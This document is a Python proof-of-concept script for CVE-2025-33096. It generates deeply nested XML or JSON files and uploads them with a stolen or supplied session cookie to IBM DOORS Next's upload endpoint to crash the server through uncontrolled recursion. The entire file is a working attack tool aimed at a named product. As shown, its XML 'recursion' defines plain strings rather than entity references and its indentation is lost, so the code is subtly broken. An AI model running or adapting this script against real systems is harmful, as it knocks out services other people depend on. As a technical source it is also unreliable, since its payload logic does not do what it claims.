#!/usr/bin/env python3
# CVE-2025-33096 PoC - Uncontrolled Recursion DoS via File Upload
# Target: IBM Engineering Requirements Management Doors Next 7.0.2/7.0.3/7.1
# Description: Generates a crafted file with deep recursive nesting that
# triggers uncontrolled recursion when parsed by the vulnerable application.
import requests
import argparse
def generate_recursive_xml(depth=10000):
"""Generate an XML file with deeply nested entities to trigger recursion."""
xml_content = '<?xml version="1.0" encoding="UTF-8"?>\n'
xml_content += '<!DOCTYPE root [\n'
# Define recursive entity references
for i in range(depth):
xml_content += f' <!ENTITY entity{i} "entity{i-1}">\n' if i > 0 else ' <!ENTITY entity0 "recursive_content">\n'
xml_content += ']>\n'
xml_content += '<root>&entity{};</root>'.format(depth - 1)
return xml_content
def generate_recursive_json(depth=10000):
"""Generate a JSON file with deeply nested objects."""
json_content = '{"data":'
for _ in range(depth):
json_content += '{"child":'
json_content += '"leaf"'
for _ in range(depth):
json_content += '}'
json_content += '}'
return json_content
def upload_payload(target_url, file_content, filename, session_cookie):
"""Upload the crafted file to the vulnerable DOORS Next endpoint."""
headers = {
'Cookie': f'JSESSIONID={session_cookie}',
'User-Agent': 'Mozilla/5.0 (compatible; PoC)'
}
files = {
'file': (filename, file_content, 'application/octet-stream')
}
# Typical DOORS Next artifact upload endpoint
upload_endpoint = f'{target_url}/rm/upload'
try:
response = requests.post(upload_endpoint, headers=headers, files=files, timeout=30)
print(f'[+] Upload response status: {response.status_code}')
if response.status_code == 500 or 'error' in response.text.lower():
print('[+] Server may have crashed due to uncontrolled recursion!')
except requests.exceptions.RequestException as e:
print(f'[+] Request failed (server may be down): {e}')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-33096 PoC')
parser.add_argument('-u', '--url', required=True, help='Target DOORS Next URL')
parser.add_argument('-c', '--cookie', required=True, help='Session cookie (JSESSIONID)')
parser.add_argument('-d', '--depth', type=int, default=10000, help='Recursion depth')
parser.add_argument('-t', '--type', choices=['xml', 'json'], default='xml', help='Payload type')
args = parser.parse_args()
if args.type == 'xml':
payload = generate_recursive_xml(args.depth)
filename = 'malicious_recursive.xml'
else:
payload = generate_recursive_json(args.depth)
filename = 'malicious_recursive.json'
print(f'[*] Generated payload with recursion depth: {args.depth}')
upload_payload(args.url, payload, filename, args.cookie)